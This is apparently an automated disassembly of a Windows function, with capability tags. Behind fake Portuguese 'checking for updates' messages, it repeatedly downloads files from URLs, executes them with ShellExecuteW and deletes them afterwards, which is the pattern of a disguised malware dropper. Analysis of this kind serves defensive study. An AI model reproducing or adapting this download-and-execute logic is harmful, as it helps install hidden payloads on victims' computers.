Function at 0x1400014c0
Capabilities:
Create process on windows
Delete file
Download url
Receive data
Terminate process

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str._nProcurando_por_Updates...
call fcn.140001c20
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str._nVerificando_Banco_de_Dados...
call fcn.140001c20
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x140007868], 7
lea rdi, [0x140007850]
mov r8, rdi
lea rdx, [0x140007750]
cmova r8, qword [0x140007850]
cmp qword [0x140007768], 7
cmova rdx, qword [0x140007750]
xor esi, esi
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140001a74
cmp qword [0x140007808], 7
lea rdx, [0x140007790]
mov qword [rsp + 0x40], rbx
lea rbx, [0x1400077f0]
mov r8, rbx
mov qword [rsp + 0x20], rsi
cmova r8, qword [0x1400077f0]
cmp qword [0x1400077a8], 7
cmova rdx, qword [0x140007790]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x1400015f8
cmp qword [0x140007808], 7
mov r8, rbx
mov dword [rsp + 0x28], esi
cmova r8, qword [0x1400077f0]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x15e
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x140007808], 7
cmova rbx, qword [0x1400077f0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str._nSuccess...
jmp 0x140001606
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str._nError...
call fcn.140001c20
cmp qword [0x1400077c8], 7
lea rbx, [0x1400077b0]
mov r8, rbx
mov qword [rsp + 0x20], rsi
cmova r8, qword [0x1400077b0]
lea rdx, [0x1400077d0]
cmp qword [0x1400077e8], 7
cmova rdx, qword [0x1400077d0]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x1400016ad
cmp qword [0x1400077c8], 7
mov r8, rbx
mov dword [rsp + 0x28], esi
cmova r8, qword [0x1400077b0]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x15e
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x1400077c8], 7
cmova rbx, qword [0x1400077b0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str._nSuccess...
jmp 0x1400016bb
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str._nError...
call fcn.140001c20
cmp qword [0x140007788], 7
lea rbx, [0x140007770]
mov r8, rbx
mov qword [rsp + 0x20], rsi
cmova r8, qword [0x140007770]
lea rdx, [0x140007910]
cmp qword [0x140007928], 7
cmova rdx, qword [0x140007910]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140001762
cmp qword [0x140007788], 7
mov r8, rbx
mov dword [rsp + 0x28], esi
cmova r8, qword [0x140007770]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x15e
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x140007788], 7
cmova rbx, qword [0x140007770]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str._nSuccess...
jmp 0x140001770
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str._nError...
call fcn.140001c20
cmp qword [0x140007848], 7
lea rbx, [0x140007830]
mov r8, rbx
mov qword [rsp + 0x20], rsi
cmova r8, qword [0x140007830]
lea rdx, [0x140007810]
cmp qword [0x140007828], 7
cmova rdx, qword [0x140007810]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140001817
cmp qword [0x140007848], 7
mov r8, rbx
mov dword [rsp + 0x28], esi
cmova r8, qword [0x140007830]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x15e
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x140007848], 7
cmova rbx, qword [0x140007830]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str._nSuccess...
jmp 0x140001825
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str._nError...
call fcn.140001c20
cmp qword [0x1400078c8], 7
lea rbx, [0x1400078b0]
mov r8, rbx
mov qword [rsp + 0x20], rsi
cmova r8, qword [0x1400078b0]
lea rdx, [0x1400078f0]
cmp qword [0x140007908], 7
cmova rdx, qword [0x1400078f0]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x1400018cc
cmp qword [0x1400078c8], 7
mov r8, rbx
mov dword [rsp + 0x28], esi
cmova r8, qword [0x1400078b0]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x15e
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x1400078c8], 7
cmova rbx, qword [0x1400078b0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str._nSuccess...
jmp 0x1400018da
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str._nError...
call fcn.140001c20
cmp qword [0x140007888], 7
lea rbx, [0x140007870]
mov r8, rbx
mov qword [rsp + 0x20], rsi
cmova r8, qword [0x140007870]
lea rdx, [0x1400078d0]
cmp qword [0x1400078e8], 7
cmova rdx, qword [0x1400078d0]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140001981
cmp qword [0x140007888], 7
mov r8, rbx
mov dword [rsp + 0x28], esi
cmova r8, qword [0x140007870]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x15e
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x140007888], 7
cmova rbx, qword [0x140007870]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str._nSuccess...
jmp 0x14000198f
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str._nError...
call fcn.140001c20
cmp qword [0x1400078a8], 7
lea rbx, [0x140007890]
mov r8, rbx
mov qword [rsp + 0x20], rsi
cmova r8, qword [0x140007890]
lea rdx, [0x140007930]
cmp qword [0x140007948], 7
cmova rdx, qword [0x140007930]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140001a36
cmp qword [0x1400078a8], 7
mov r8, rbx
mov dword [rsp + 0x28], esi
cmova r8, qword [0x140007890]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x15e
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x1400078a8], 7
cmova rbx, qword [0x140007890]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str._nSuccess...
jmp 0x140001a44
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str._nError...
call fcn.140001c20
cmp qword [0x140007868], 7
cmova rdi, qword [0x140007850]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rbx, qword [rsp + 0x40]
xor eax, eax
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str._nFuncoes_foram_desativadas_pelo_desenvolvedor__KultzDev_...
call fcn.140001c20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str._nFuncoes_foram_desativadas_pelo_desenvolvedor__KultzDev_...
call fcn.140001c20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str._nFuncoes_foram_desativadas_pelo_desenvolvedor__KultzDev_...
call fcn.140001c20
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3